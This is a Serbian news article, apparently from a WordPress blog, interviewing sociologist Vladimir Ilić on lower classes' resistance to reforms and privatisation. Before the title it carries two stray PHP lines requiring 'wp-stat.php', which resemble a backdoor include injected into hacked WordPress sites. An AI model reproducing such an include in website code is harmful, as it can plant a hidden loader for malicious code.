@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); NIŽI SOCIJALNI SLOJEVI I REFORME: Srbija ima dva puta – ili dodatno stezanje kaiša ili produženje agonije – Nedim Sejdinović

NIŽI SOCIJALNI SLOJEVI I REFORME: Srbija ima dva puta – ili dodatno stezanje kaiša ili produženje agonije

Centar za razvoj civilnog društva, sa sedištem u Zrenjaninu, pod rukovodstvom sociologa Vladimira Ilića, nedavno je dovršio dvoipogodišnji projekat pod imenom “Minimiziranje otpora reformama i integraciji Srbije”, čiji je cilj bio otkrivanje centara odnosno društvenih slojeva koji predstavljaju najznačajniji otpor reformama, kao i stvaranje plana kako se taj otpor može smanjiti. Minimiziranje otpora doprinelo bi ubrzanju reformi, a istraživanje je bilo usmereno prema slojevima koji su se, i u neposrednoj prošlosti i danas, pokazali kao masovni nosioci protivljenja izvlačenju Srbije iz zaostalosti – a to su nekvalifikovani radnici, stanovništvo predgrađa i prigrađa, radnici koji žive na selu i obrađuju porodična imanja… S obzirom na tešku socijalnu situaciju, krajnji zaključak istraživanja na prvi je pogled pomalo neobičan: “U srpskom društvu postoji mnogo više prostora za brže i radikalnije reforme nego što se to u javnosti govori”. Brže i radikalnije reforme u praksi znače smelije otpuštanje viška radnika, rasterećenje budžeta i smanjenje platežne moći stanovništva. Kratkoročno, to bi značilo teži život, ali dugoročno bi doprinelo bržem oporavku privrede i ekonomije i skraćenju našeg dugog puta u EU.

Sociolog Vladimir Ilić u razgovoru za GL kaže da zaključak o dovoljnom prostoru za bržu restrukutraciju ne proishodi samo iz ovog istraživanja već i iz istraživanja Svetske banke, po kojem deset do 11 posto stanovništva Srbije živi ispod granice siromaštva. Ostali, od kojih se većina kreće po granici siromaštva, mogla bi dodatno da bude «zaljuljana ka siromaštvu a da na padne sasvim».

– Neprijatno je to reći, jer zvuči surovo, ali činjenice govore da se može još više «stezati» kako bi se ubrzali privatizacija i reforme. U našem istraživanju, to se posebno vidi iz odgovora na pitanja upućena pripadnicima najnižih društvenih slojeva – na šta oni troše novac, čega se odriču i kako bi stvorili vanredne prihode za eventualne neplanirane izdatke. Postoje samo dva puta, ili «stegnuti» u kratkom roku da bi se dugoročno dobilo ili popuštati i usporiti reforme (produžiti agoniju), kao što to radi aktuelna Vlada Srbije – kaže Ilić.

Istraživanje Centra za razvoj socijalnog društva pokazalo je da su najniži socijalni slojevi nedovoljno informisani o tome šta im reforme dugoročno donose, kao i da samo donekle naslućuju vezu između spoljnopolitičkog položaja zemlje i svog individualnog ili porodičnog položaja. To takođe doprinosi otporu privatizaciji i reformama.

– Nižim društvenim slojevima trebalo bi potpuno razjasniti odnos između spoljnopolitičkog položaja zemlje i njihovog individualnog položaja. Prosečan nekvalifikovan radnik će se radije odreći Kosova, radije će isporučiti Mladića i Pavkovića nego što će trpeti nove sankcije, ali to su tek prvi stepenici u racionalizaciji. Kada se stvari razjasne, treba računati i na patrijarhalnu strukturu ovdašnjih porodica, odnosno na naviku da su starije generacije spremne da se odriču kako bi mlađe generacije u budućnosti profitirale – kaže Ilić.

Osim povećanjem informisanosti, na smanjenje otpora reformama može se uticati na još nekoliko načina, ali nijedan od njih, kako kaže Ilić, nije preterano ljubak i dopadljiv.

– Treba imati u vidu da se, kako naše istraživanje pokazuje, nekvalifikovani radnici uglavnom informišu od nešto obrazovanijih kolega s posla ili iz komšiluka. Dakle, na oblikovanje mnjenja NKV radnika utiču majstori. Doktor nauka ne može neposredno da se obraća najnižim socijalnim slojevima već je potrebno nekoliko beočuga u lancu da bi se idejna poruka, bilo leva ili desna, uprostila i spustila do nekvalifikovanog radnika. Ako utičete na više slojeve radničke klase, na majstore koji su već aktuelni ili bar perspektivni tranzicijski dobitnici, preko njih je jednostavno uticati na sadašnje tranzicijske gubitnike kakvi su nekvalifikovani radnici. Ako se potencira realni nesklad interesa između majstora i fizičkih radnika, ako se potenciraju interne tenzije između zaposlenih i nezaposlenih NKV radnika, onda se otpor reformama znatno smanjuje. Vlada Srbije se vadi na to da joj preti proleće radničkog nezadovoljstva ako ubrza reforme, a stvari stoje upravo suprotno: efikasnija i brža privatizacija pacifikovala bi otpore radnika prema procesima reformi – kaže Ilić.

On ističe da su najniži društveni slojevi prilično egalitarni. Njihov partijski izbor je Savez komunista Jugoslavije, a idealni vođa koji bi zemlju mogao izvući iz krize bio bi maršal Tito.

– Što se tiče svojine, oni i dalje preferiraju društvenu. Međutim, svesni su da od njihovih želja nema ništa, da Tito ne može oživeti, da se SKJ ne može vaspostaviti niti privatizacija zaustaviti. I onda se tu javlja paradoks: ti ljudi koji su na levim pozicijama – sa gledišta nekog krutog liberalizma čak na ekstremno levim pozicijama – glasaju za desničarske partije, koje u manifestnoj ravni zastupaju striktno liberalni program privatizacije. Oni to ne prepoznaju, već samo prepoznaju opoziciju liberalnim vladama Đinđića, Živkovića ili Koštunice – kaže Ilić.

Zaključak istraživanja je i da Srbija, i pored svih aktuelnih zbivanja, u sadašnjem spoljnopolitičkom kontekstu ne može da krene putem fašizacije, koja je inače jedna od mogućih stranputica društava kao što je naše.

– Fašizacija ima mnogo ovdašnjih pristalica, ali ne postoji spoljnopolitički kontekst koji će je pospešiti. Mi smo mala i siromašna zemlja i na našu ne samo spoljnu nego i unutrašnju politiku, kao i na privrednu restrukturaciju, ogroman uticaj imaju velike sile, ali i zemlje kao što su Grčka i Italija. Svi oni su prilično unisoni kada se radi o strateškom trendu razvoja u Srbiji. Dok je cena nafte visoka, ne treba se u tom smislu plašiti ni Rusije. Dok god je ovakvo spoljnopolitičko okruženje, ne treba se plašiti poodmakle fašizacije, bez obzira na činjenicu da je ona prisutna u pojedinim segmentima društva – kaže Ilić.

Spoljni faktor, kako kaže naš sagovornik, ima mnogo veći uticaj na zbivanja u Srbiji od unutrašnjeg, ali to nije nikakva novost.

– Imali smo radikale koji su bili vezani za Sadama Huseina, profesorku Marković koja je bila vezana za pojedine krugove u Moskvi, Miloševića koji je bio favorit zapada kao «garant mira i sigurnosti»… Potom su DOS 2000. godine na vlast dovele strane sile, a sada imamo Koštunicu koga podržavaju Francuska, Italija, Grčka i Rusija, i G17 plus, kog podržava Nemačka, preciznije nemački kapital – kaže Ilić.

Nedim Sejdinović

Traktorska privatizacija

Vladimir Ilić oštro kritikuje dosadašnji način privatizacije i smatra da su brojne zloupotrebe tog procesa doprinele povećanju otpora reformama.

– Koja je suštinska razlika između onoga ko u toku rata traktorom sa prikolicom odlazi u rivalsko etničko selo – bošnjačko, hrvatsko ili srpsko – i iz njega dovlači zamrzivače i druge kućne aparate i onoga koji učestvuje u privatizaciji kakva se sprovodi u Srbiji poslednjih petnaestak godina? Nema suštinske razlike. Nema razlike da li se ponašate kao, recimo, novi vlasnik «Dijamanta» ili «Jugoremedije» ili kao traktorista sa punom prikolicom pokradene robe – kaže Ilić.

Objekti frustracija

– U Srbiji imate mnogo Srbija. Negde još nije počela ni 2000. godina, a negde su uveliko iskoračili u 2005. Neke su sredine veoma opterećene zloupotrebom u privatizaciji, a neke su u manje lošem položaju nego što bismo rekli na prvi pogled. Po pravilu, međutim, svuda imate frustraciju, s tim što su objekti frustracije različiti. U Bačkoj se, recimo, za sve što se dešava krive, u velikom broju slučajeva, izbeglice, a u manjem – nacionalne manjine. Veliki broj ispitanika, dakle, smatra da su smanjene plate i smanjena sigurnost posla posledica dolaska izbeglica. U centralnoj Srbiji objekat frustracije su raseljena lica sa Kosova, za koje se smatra da su «opajali Kosovo, a sada su došli da opajajaju centralnu Srbiju» – kaže Ilić.

Slučaj Lazarevac

U Lazarevcu, koji je jedna od najbogatijih opština u Srbiji po dohotku po glavi stanovnika, nije se recimo ni dogodio 5. oktobar, a 80 odsto aktivnih duša radi u «Kolubari», gde nekvalifikovani radnici imaju platu od 25.000 dinara. Problem je u tome što će za pet do sedam godina biti iscrpena rudna nalazišta u Kolubarskom bazenu, i što će većina radnika ostati bez posla. Niko, međutim, od Lazarevčana danas o tome ne razmišlja niti planira šta će da radi kada se to desi – kaže Ilić.

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.